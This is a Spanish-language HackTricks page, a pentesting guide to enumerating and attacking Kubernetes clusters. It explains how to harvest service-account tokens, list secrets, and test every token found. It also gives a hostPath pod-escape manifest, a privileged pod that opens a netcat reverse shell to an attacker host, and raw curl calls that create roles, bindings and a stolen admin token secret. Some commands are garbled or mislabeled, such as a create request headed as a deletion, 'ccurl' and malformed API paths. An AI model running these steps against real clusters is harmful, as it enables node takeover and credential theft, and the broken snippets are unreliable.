Enumeración de Kubernetes
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Tokens de Kubernetes
Si has comprometido el acceso a una máquina, el usuario puede tener acceso a alguna plataforma de Kubernetes. El token generalmente se encuentra en un archivo señalado por la var de entorno KUBECONFIG o dentro de ~/.kube.
En esta carpeta podrías encontrar archivos de configuración con tokens y configuraciones para conectarse al servidor API. En esta carpeta también puedes encontrar una carpeta de caché con información recuperada previamente.
Si has comprometido un pod dentro de un entorno de Kubernetes, hay otros lugares donde puedes encontrar tokens e información sobre el entorno K8 actual:
Tokens de Cuenta de Servicio
Antes de continuar, si no sabes qué es un servicio en Kubernetes, te sugeriría que sigas este enlace y leas al menos la información sobre la arquitectura de Kubernetes.
Tomado de la documentación:
“Cuando creas un pod, si no especificas una cuenta de servicio, se le asigna automáticamente la cuenta de servicio predeterminada en el mismo espacio de nombres.”
ServiceAccount es un objeto gestionado por Kubernetes y utilizado para proporcionar una identidad a los procesos que se ejecutan en un pod.
Cada cuenta de servicio tiene un secreto relacionado y este secreto contiene un token portador. Este es un JSON Web Token (JWT), un método para representar reclamaciones de manera segura entre dos partes.
Generalmente uno de los directorios:
/run/secrets/kubernetes.io/serviceaccount/var/run/secrets/kubernetes.io/serviceaccount/secrets/kubernetes.io/serviceaccount
contiene los archivos:
- ca.crt: Es el certificado ca para verificar las comunicaciones de Kubernetes
- namespace: Indica el espacio de nombres actual
- token: Contiene el token de servicio del pod actual.
Ahora que tienes el token, puedes encontrar el servidor API dentro de la variable de entorno KUBECONFIG. Para más información ejecuta (env | set) | grep -i "kuber|kube"
El token de cuenta de servicio está siendo firmado por la clave que reside en el archivo sa.key y validado por sa.pub.
Ubicación predeterminada en Kubernetes:
- /etc/kubernetes/pki
Ubicación predeterminada en Minikube:
- /var/lib/localkube/certs
Pods Calientes
Los pods calientes son pods que contienen un token de cuenta de servicio privilegiado. Un token de cuenta de servicio privilegiado es un token que tiene permiso para realizar tareas privilegiadas como listar secretos, crear pods, etc.
RBAC
Si no sabes qué es RBAC, lee esta sección.
Aplicaciones GUI
- k9s: Una GUI que enumera un clúster de Kubernetes desde la terminal. Consulta los comandos en https://k9scli.io/topics/commands/. Escribe
:namespacey selecciona todo para luego buscar recursos en todos los espacios de nombres. - k8slens: Ofrece algunos días de prueba gratuita: https://k8slens.dev/
Hoja de Trucos de Enumeración
Para enumerar un entorno K8s necesitas un par de cosas:
- Un token de autenticación válido. En la sección anterior vimos dónde buscar un token de usuario y un token de cuenta de servicio.
- La dirección (https://host:port) del API de Kubernetes. Esto generalmente se puede encontrar en las variables de entorno y/o en el archivo de configuración kube.
- Opcional: El ca.crt para verificar el servidor API. Esto se puede encontrar en los mismos lugares donde se puede encontrar el token. Esto es útil para verificar el certificado del servidor API, pero usando
--insecure-skip-tls-verifyconkubectlo-kconcurlno necesitarás esto.
Con esos detalles puedes enumerar Kubernetes. Si el API por alguna razón es accesible a través de Internet, puedes simplemente descargar esa información y enumerar la plataforma desde tu host.
Sin embargo, generalmente el servidor API está dentro de una red interna, por lo tanto necesitarás crear un túnel a través de la máquina comprometida para acceder a él desde tu máquina, o puedes subir el kubectl binario, o usar curl/wget/anything para realizar solicitudes HTTP en bruto al servidor API.
Diferencias entre los verbos list y get
Con permisos de get puedes acceder a información de activos específicos (opción describe en kubectl) API:
GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}
Si tienes el permiso list, se te permite ejecutar solicitudes API para listar un tipo de activo (get opción en kubectl):
#In a namespace
GET /apis/apps/v1/namespaces/{namespace}/deployments
#In all namespaces
GET /apis/apps/v1/deployments
Si tienes el permiso watch, se te permite ejecutar solicitudes API para monitorear activos:
GET /apis/apps/v1/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name} [DEPRECATED]
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments [DEPRECATED]
GET /apis/apps/v1/watch/deployments [DEPRECATED]
Abren una conexión de streaming que te devuelve el manifiesto completo de un Deployment cada vez que cambia (o cuando se crea uno nuevo).
Caution
Los siguientes comandos de
kubectlindican solo cómo listar los objetos. Si deseas acceder a los datos, necesitas usardescribeen lugar deget.
Usando curl
Desde dentro de un pod, puedes usar varias variables de entorno:
export APISERVER=${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
export TOKEN=$(cat ${SERVICEACCOUNT}/token)
export CACERT=${SERVICEACCOUNT}/ca.crt
alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\""
# if kurl is still got cert Error, using -k option to solve this.
Warning
Por defecto, el pod puede acceder al kube-api server en el nombre de dominio
kubernetes.default.svcy puedes ver la red kube en/etc/resolv.configya que aquí encontrarás la dirección del servidor DNS de kubernetes (el “.1” del mismo rango es el punto final del kube-api).
Usando kubectl
Teniendo el token y la dirección del servidor API, usas kubectl o curl para acceder a él como se indica aquí:
Por defecto, el APISERVER se comunica con el esquema https://
alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true [--all-namespaces]' # Use --all-namespaces to always search in all namespaces
si no hay
https://en la URL, puede que obtenga un error como Bad Request.
Puedes encontrar un cheatsheet oficial de kubectl aquí. El objetivo de las siguientes secciones es presentar de manera ordenada diferentes opciones para enumerar y entender el nuevo K8s al que has obtenido acceso.
Para encontrar la solicitud HTTP que kubectl envía, puedes usar el parámetro -v=8
MitM kubectl - Proxyfying kubectl
# Launch burp
# Set proxy
export HTTP_PROXY=http://localhost:8080
export HTTPS_PROXY=http://localhost:8080
# Launch kubectl
kubectl get namespace --insecure-skip-tls-verify=true
Configuración Actual
kubectl config get-users
kubectl config get-contexts
kubectl config get-clusters
kubectl config current-context
# Change namespace
kubectl config set-context --current --namespace=<namespace>
Si lograste robar las credenciales de algunos usuarios, puedes configurarlas localmente usando algo como:
kubectl config set-credentials USER_NAME \
--auth-provider=oidc \
--auth-provider-arg=idp-issuer-url=( issuer url ) \
--auth-provider-arg=client-id=( your client id ) \
--auth-provider-arg=client-secret=( your client secret ) \
--auth-provider-arg=refresh-token=( your refresh token ) \
--auth-provider-arg=idp-certificate-authority=( path to your ca certificate ) \
--auth-provider-arg=id-token=( your id_token )
Obtener Recursos Soportados
Con esta información sabrás todos los servicios que puedes listar
k api-resources --namespaced=true #Resources specific to a namespace
k api-resources --namespaced=false #Resources NOT specific to a namespace
Obtener privilegios actuales
k auth can-i --list #Get privileges in general
k auth can-i --list -n custnamespace #Get privileves in custnamespace
# Get service account permissions
k auth can-i --list --as=system:serviceaccount:<namespace>:<sa_name> -n <namespace>
Otra forma de verificar tus privilegios es utilizando la herramienta: https://github.com/corneliusweig/rakkess****
Puedes aprender más sobre Kubernetes RBAC en:
Kubernetes Role-Based Access Control(RBAC)
Una vez que sepas qué privilegios tienes, consulta la siguiente página para averiguar si puedes abusar de ellos para escalar privilegios:
Abusing Roles/ClusterRoles in Kubernetes
Obtener roles de otros
k get roles
k get clusterroles
Obtener namespaces
Kubernetes soporta múltiples clústeres virtuales respaldados por el mismo clúster físico. Estos clústeres virtuales se llaman namespaces.
k get namespaces
Obtener secretos
k get secrets -o yaml
k get secrets -o yaml -n custnamespace
Si puedes leer secretos, puedes usar las siguientes líneas para obtener los privilegios relacionados con cada token:
for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; k --token $token auth can-i --list; echo; done
Obtener Cuentas de Servicio
Como se discutió al principio de esta página, cuando se ejecuta un pod, generalmente se le asigna una cuenta de servicio. Por lo tanto, listar las cuentas de servicio, sus permisos y dónde se están ejecutando puede permitir a un usuario escalar privilegios.
k get serviceaccounts
Obtener Despliegues
Los despliegues especifican los componentes que necesitan ser ejecutados.
k get deployments
k get deployments -n custnamespace
Obtener Pods
Los Pods son los contenedores que se ejecutarán.
k get pods
k get pods -n custnamespace
Obtener Servicios
Kubernetes services se utilizan para exponer un servicio en un puerto e IP específicos (que actuará como balanceador de carga para los pods que realmente están ofreciendo el servicio). Esto es interesante para saber dónde puedes encontrar otros servicios para intentar atacar.
k get services
k get services -n custnamespace
Obtener nodos
Obtener todos los nodos configurados dentro del clúster.
k get nodes
Obtener DaemonSets
DaeamonSets permite asegurar que un pod específico esté en ejecución en todos los nodos del clúster (o en los seleccionados). Si eliminas el DaemonSet, los pods gestionados por él también serán eliminados.
k get daemonsets
Obtener cronjob
Los cron jobs permiten programar el lanzamiento de un pod que realizará alguna acción utilizando una sintaxis similar a crontab.
k get cronjobs
Obtener configMap
configMap siempre contiene mucha información y archivos de configuración que proporcionan a las aplicaciones que se ejecutan en Kubernetes. Por lo general, puedes encontrar muchas contraseñas, secretos y tokens que se utilizan para conectarse y validar otros servicios internos/externos.
k get configmaps # -n namespace
Obtener Políticas de Red / Políticas de Red de Cilium
k get networkpolicies
k get CiliumNetworkPolicies
k get CiliumClusterwideNetworkPolicies
Obtener Todo / Todo
k get all
Obtener todos los recursos gestionados por helm
k get all --all-namespaces -l='app.kubernetes.io/managed-by=Helm'
Obtener consumos de Pods
k top pod --all-namespaces
Interactuando con el clúster sin usar kubectl
Dado que el plano de control de Kubernetes expone una API RESTful, puedes crear solicitudes HTTP a mano y enviarlas con otras herramientas, como curl o wget.
Escapando del pod
Si puedes crear nuevos pods, podrías ser capaz de escapar de ellos hacia el nodo. Para hacerlo, necesitas crear un nuevo pod utilizando un archivo yaml, cambiar al pod creado y luego chroot en el sistema del nodo. Puedes usar pods ya existentes como referencia para el archivo yaml, ya que muestran imágenes y rutas existentes.
kubectl get pod <name> [-n <namespace>] -o yaml
si necesitas crear un pod en un nodo específico, puedes usar el siguiente comando para obtener las etiquetas en el nodo
k get nodes --show-labelsComúnmente, kubernetes.io/hostname y node-role.kubernetes.io/master son buenas etiquetas para seleccionar.
Luego creas tu archivo attack.yaml
apiVersion: v1
kind: Pod
metadata:
labels:
run: attacker-pod
name: attacker-pod
namespace: default
spec:
volumes:
- name: host-fs
hostPath:
path: /
containers:
- image: ubuntu
imagePullPolicy: Always
name: attacker-pod
command: ["/bin/sh", "-c", "sleep infinity"]
volumeMounts:
- name: host-fs
mountPath: /root
restartPolicy: Never
# nodeName and nodeSelector enable one of them when you need to create pod on the specific node
#nodeName: master
#nodeSelector:
# kubernetes.io/hostname: master
# or using
# node-role.kubernetes.io/master: ""
Después de eso, creas el pod
kubectl apply -f attacker.yaml [-n <namespace>]
Ahora puedes cambiar al pod creado de la siguiente manera
kubectl exec -it attacker-pod [-n <namespace>] -- sh # attacker-pod is the name defined in the yaml file
Y finalmente haces chroot en el sistema del nodo.
chroot /root /bin/bash
Información obtenida de: Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1 Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1
Creando un pod privilegiado
El archivo yaml correspondiente es el siguiente:
apiVersion: v1
kind: Pod
metadata:
name: everything-allowed-exec-pod
labels:
app: pentest
spec:
hostNetwork: true
hostPID: true
hostIPC: true
containers:
- name: everything-allowed-pod
image: alpine
securityContext:
privileged: true
volumeMounts:
- mountPath: /host
name: noderoot
command: [ "/bin/sh", "-c", "--" ]
args: [ "nc <ATTACKER_IP> <ATTACKER_PORT> -e sh" ]
#nodeName: k8s-control-plane-node # Force your pod to run on the control-plane node by uncommenting this line and changing to a control-plane node name
volumes:
- name: noderoot
hostPath:
path: /
Crea el pod con curl:
CONTROL_PLANE_HOST=""
TOKEN=""
curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 478' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"labels\":{\"app\":\"pentest\"},\"name\":\"everything-allowed-exec-pod\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"args\":[\"nc <ATTACKER_IP> <ATTACKER_PORT> -e sh\"],\"command\":[\"/bin/sh\",\"-c\",\"--\"],\"image\":\"alpine\",\"name\":\"everything-allowed-pod\",\"securityContext\":{\"privileged\":true},\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"noderoot\"}]}],\"hostIPC\":true,\"hostNetwork\":true,\"hostPID\":true,\"volumes\":[{\"hostPath\":{\"path\":\"/\"},\"name\":\"noderoot\"}]}}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
Eliminar un pod
Eliminar un pod con curl:
CONTROL_PLANE_HOST=""
TOKEN=""
POD_NAME="everything-allowed-exec-pod"
curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods/$POD_NAME"
Crear una Cuenta de Servicio
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Length: 109' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"ServiceAccount\",\"metadata\":{\"name\":\"secrets-manager-sa-2\",\"namespace\":\"default\"}}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
Eliminar una cuenta de servicio
CONTROL_PLANE_HOST=""
TOKEN=""
SA_NAME=""
NAMESPACE="default"
curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 35' -H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts/$SA_NAME"
Crear un Rol
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Content-Type: application/json' \
-H $'Accept: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 203' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"Role\",\"metadata\":{\"name\":\"secrets-manager-role\",\"namespace\":\"default\"},\"rules\":[{\"apiGroups\":[\"\"],\"resources\":[\"secrets\"],\"verbs\":[\"get\",\"create\"]}]}\x0a' \
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
Eliminar un rol
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
ROLE_NAME=""
curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles/$ROLE_NAME"
Crear un Role Binding
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 816' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"RoleBinding\",\"metadata\":{\"name\":\"secrets-manager-role-binding\",\"namespace\":\"default\"},\"roleRef\":{\"apiGroup\":\"rbac.authorization.k8s.io\",\"kind\":\"Role\",\"name\":\"secrets-manager-role\"},\"subjects\":[{\"apiGroup\":\"\",\"kind\":\"ServiceAccount\",\"name\":\"secrets-manager-sa\",\"namespace\":\"default\"}]}\x0a' \
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/$NAMESPACE/default/rolebindings?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
Eliminar un Role Binding
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
ROLE_BINDING_NAME=""
curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/rolebindings/$ROLE_BINDING_NAME"
Eliminar un Secreto
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 219' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/$NAMESPACE/default/secrets?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
Eliminar un Secreto
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
SECRET_NAME=""
ccurl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Content-Type: application/json' \
-H $'Accept: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/secrets/$SECRET_NAME"
Referencias
Kubernetes Pentest Methodology Part 3
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
HackTricks Cloud

